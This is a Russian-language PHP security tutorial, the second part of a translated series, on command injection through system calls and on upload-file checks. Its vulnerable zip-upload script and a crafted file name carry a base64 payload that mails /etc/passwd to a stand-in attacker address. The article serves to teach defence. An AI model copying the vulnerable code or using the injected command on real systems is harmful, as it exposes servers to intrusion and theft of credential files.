Основы PHP
  Что такое PHP?
  Возможности PHP
  Преимущества PHP
  История развития
  Что нового в PHP5?
  «Движок» PHP
  Переход на PHP 5.3
New Переход на PHP 5.6
  Введение в PHP
  Изучение PHP
  Основы CGI
  Синтаксис PHP
  Типы данных PHP
  Переменные в PHP
  Константы PHP
  Выражения PHP
  Операторы PHP
  Конструкции PHP
  Ссылки в PHP
  PHP и ООП
  Безопасность
  Функции PHP
  Функции по категориям
  Функции по алфавиту
  Стандартные функции
  Пользовательские
  PHP и HTTP
  Работа с формами
  PHP и Upload
  PHP и Cookies
  PHP и базы данных
  PHP и MySQL
  Документация MySQL
  Учебники
  Учебники по PHP
  Учебники по MySQL
  Другие учебники
  Уроки PHP
  Введение
  Самые основы
  Управление
  Функции
  Документация
  Математика
  Файлы
  Основы SQL
  Дата и время
  CURL
  Изображения
  Стили
  Безопасность
  Установка
  Проектирование БД
  Регулярные выражения
  Подготовка к работе
  Быстрый старт
  Установка PHP
  Установка MySQL
  Конфигурация PHP
  Download / Скачать
  Скачать Apache
  Скачать PHP
  Скачать PECL
  Скачать PEAR
  Скачать MySQL
  Редакторы PHP
  Полезные утилиты
  Документация
  PHP скрипты
  Скачать скрипты
  Инструменты
  PHP в примерах
  Новости портала
 Главная   »  Сборник статей
 
 

Безопасность в PHP, Часть II

Автор: John Coggeshall
Автор перевода: Данил Миронов

Источник: detail.phpclub.net

  < Назад (Часть I)  

Выполнение системных вызовов из PHP-скриптов

В PHP предусмотрено несколько средств для выполнения системных вызовов. Ну а если подробнее, то system(), exec(), passthru(), popen() и оператор обратная кавычка [backtick] (`) позволяют выполнять команды операционной системы непосредственно из PHP-скрипта. И каждая из перечисленных функций при неадекватном использовании может предоставить злоумышленнику огромные возможности исполнения системных команд на вашем сервере. Как это было и в случае с доступом к файлам, большинство дыр появляется, когда текст команды составляется на основе небезопасных данных, полученных со стороны.

Пример скрипта, содержащего системный вызов

Представим себе скрипт, который получает файл, загруженный на сервер по http [upload-файл], сжимает с помощью zip, а потом перемещает его в определённую директорию (по умолчанию это /usr/local/archives/). Вот код:

<?php
    $zip        
= "/usr/bin/zip";
    
$store_path = "/usr/local/archives/";

    if (isset(
$_FILES['file'])) {
        
$tmp_name = $_FILES['file']['tmp_name'];
        
$cmp_name = dirname($_FILES['file']['tmp_name']) .
            
"/{$_FILES['file']['name']}.zip";
        
$filename = basename($cmp_name);

        if (
file_exists($tmp_name)) {
            
$systemcall = "$zip $cmp_name $tmp_name";
            
$output     = `$systemcall`;

            if (
file_exists($cmp_name)) {
                
$savepath = $store_path.$filename;
                
rename($cmp_name, $savepath);
            }
        }
    }
?>

<form enctype="multipart/form-data" action="<?php
    php
echo $_SERVER['PHP_SELF'];
?>" method="POST">
<input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576">
File to compress: <input name="file" type="file"><br />
<input type="submit" value="Compress File">
</form>

Несмотря на кажущуюся прозрачность скрипта, злоумышленник может использовать его в своих целях аж несколькими способами. Самое опасное место - там, где мы исполняем команду сжатия файла (обратная кавычка), а именно следующие строки:

<?php
if (isset($_FILES['file'])) {
    
$tmp_name = $_FILES['file']['tmp_name'];
    
$cmp_name = dirname($_FILES['file']['tmp_name']) .
        
"/{$_FILES['file']['name']}.zip";

    
$filename = basename($cmp_name);

    if (
file_exists($tmp_name)) {
        
$systemcall = "$zip $cmp_name $tmp_name";
        
$output = `$systemcall`;

Как обмануть скрипт и заставить его исполнять различные shell-команды

Итак, безобидность скрипта обманчива: любой пользователь, который может upload-ить файл, может и исполнять любые команды! Эта дыра в безопасности обязана своим появлением тому, как задаётся значение переменной $cmp_name. Поскольку в данном конкретном случае разработчик захотел, чтобы имя сжатого файла содержало имя upload-файла (плюс расширение .zip), было использовано значение переменной $_FILES['file']['name'] (содержащей имя upload-файла, каким оно было на клиентской машине). И вот именно в этом случае злоумышленник может полностью изменить поведения скрипта: он может загрузить файл с именем, содержащим специальные символы, интерпретируемых ОС. Например, что случится, если пользователь создаст пустой файл таким манером (из командной строки UNIX)?

[user@localhost]# touch ";php -r '\$code=base64_decode(\\
    \"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\\\");
system(\$code);';"

Эта команда создаст файл с таким именем:

;php -r '$code=base64_decode(
\"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);';

Странное имя, да? Правильно, это "имя" похоже на текст некой команды CLI версии PHP; команда эта выполняет следующий код:

<?php
$code
=base64_decode("bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);
?>

Если вы, из любопытства, выведете значение переменной $code, то увидите, что оно равно mail baduser@somewhere.com < /etc/passwd. И если пользователь загрузит этот файл, и наш PHP-скрипт займётся им, то когда скрипт начнёт выполнять системный вызов для сжатия файла, то на самом деле он выполнит следующую команду:

/usr/bin/zip /tmp/;php -r
'$code=base64_decode(
    \"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);';.zip /tmp/phpY4iatI

Вот и всё, то, что вы сейчас увидели, уже не одна, а три команды! Как только оболочка проинтерпретирует точку с запятой (;), означающей (поскольку не заключена в кавычки) конец одной команды и начало другой, тогда PHP-функция system() на самом деле выполнит это:

[user@localhost]# /usr/bin/zip /tmp/
[user@localhost]# php -r
'$code=base64_decode(
    \"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);'
[user@localhost]# .zip /tmp/phpY4iatI

Как вы видите, вроде бы безобидный PHP-скрипт предоставил возможность исполнения различных системных команд, в том числе и исполнение других PHP-скриптов! Конечно, этот пример сработает только на системах, где пользователь, от имени которого запущен web-сервер, имеет в своей PATH переменной CLI версию PHP (а не должен бы). Однако на том же принципе можно построить и другие способы получения подобного результата.

Как защититься от атак, связанных с системными вызовами

Главное здесь, как и раньше, никогда не доверять данным из внешних источников, какой бы ни был контекст их использования. Возникает вопрос, как же избежать подобных ситуаций при работе с системными вызовами (отказ от самих системных вызовов здесь не рассматривается). Для борьбы с этим недугом PHP предлагает две функции: escapeshellarg() и escapeshellcmd().

Функция escapeshellarg() предназначена для устранения или какого-либо игнорирования потенциально опасных символов в полученных от пользователя данных. Результат работы функции может использоваться как аргумент к системной команде (в нашем случае это zip). Синтаксис функции такой:

escapeshellarg($string)

где $string - это строка для "зачистки", а возвращаемое значение и есть "зачищенная" строка. Функция заключает строку в аргументе в одинарные кавычки и дезактивирует (то есть предваряет слэшем) все одинарные кавычки, уже содержащиеся в строке. В нашем примере, если мы добавим перед системным вызовом две строки:

<?php
$cmp_name
= escapeshellarg($cmp_name);
$tmp_name = escapeshellarg($tmp_name);
?>

то мы исключим риск того, что аргумент, передаваемый в системную команду, будет проинтерпретирован только как аргумент, и никак иначе, каковы бы не были данные, предоставленные пользователем.

Функция escapeshellcmd() похожа на свою коллегу с тем исключением, что при "зачистке" будут дезактивированы символы, имеющее специфическое значение для операционной системы. В отличие от escapeshellarg() эта функция не будет как-то особенно обрабатывать строки с пробелами. Например, если мы применим escapeshellcmd() для такой строки:

$string = "'hello, world!';evilcommand"

то она станет такой:

\'hello, world\'\;evilcommand

Это может привести к нежелательному результату, если строка будет использована в качестве аргумента к системной команде, поскольку интерпретатор будет воспринимать нашу строку как два аргумента, \'hello и world\'\;evilcommand, соответственно. Итак, если данные, предоставленные пользователем, будут использоваться в качестве части списка аргументов, то функция escapeshellarg() предпочтительнее.

Защита upload-файлов

До данного момента я говорил только о том, как злоумышленники могут компрометировать системные вызовы в PHP-скриптах. Однако в нашем примере есть ещё одна потенциальная дыра в безопасности, и о ней также стОит упомянуть. Вернёмся к нашему коду и изучим внимательно эти строки:

<?php
$tmp_name
= $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
    
"/{$_FILES['file']['name']}.zip";

$filename = basename($cmp_name);
if (
file_exists($tmp_name)) {
?>

Итак, потенциально опасный код находится в самой последней строке приведённого отрезка. В ней мы проверяем, существует ли upload-файл (который хранится под временным именем, $tmp_name). Опасность здесь исходит не от самого PHP, а от возможности того, что файл под именем $tmp_name вовсе не был загружен пользователем, а как-либо указывает на файл, который злоумышленник хочет заполучить, ну скажем, /etc/passwd. Чтобы избежать подобных ситуаций, PHP предлагает функцию is_uploaded_file(). Работа этой функции похожа на действие функции file_exists() за тем лишь исключением, что в данном случае проводится дополнительная проверка того, был ли данный файл действительно загружен с клиентской машины.

Поскольку, в большинстве случаев вам нужно куда-либо переместить upload-файл, то в дополнение к функции is_uploaded_file() в PHP есть функция move_uploaded_file(). Работает она также, как и rename() при перемещении файлов за тем лишь исключением, что в данном случае перед исполнением проводится дополнительная проверка того, что перемещаемый файл действительно был загружен с клиентской машины. Синтаксис функции move_uploaded_file() такой:

move_uploaded_file($filename, $destination);

При вызове эта функция переместит upload-файл $filename в $destination и возвратит значение типа Boolean, которое проинформирует об успешном или неуспешном завершении операции.

  Продолжение (Часть III) >   

 
 » Обсудить эту статью на форуме

 
 Сборник статей 
 Содержание раздела 
Есть еще вопросы или что-то непонятно - добро пожаловать на наш  форум портала PHP.SU 
 

 
Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS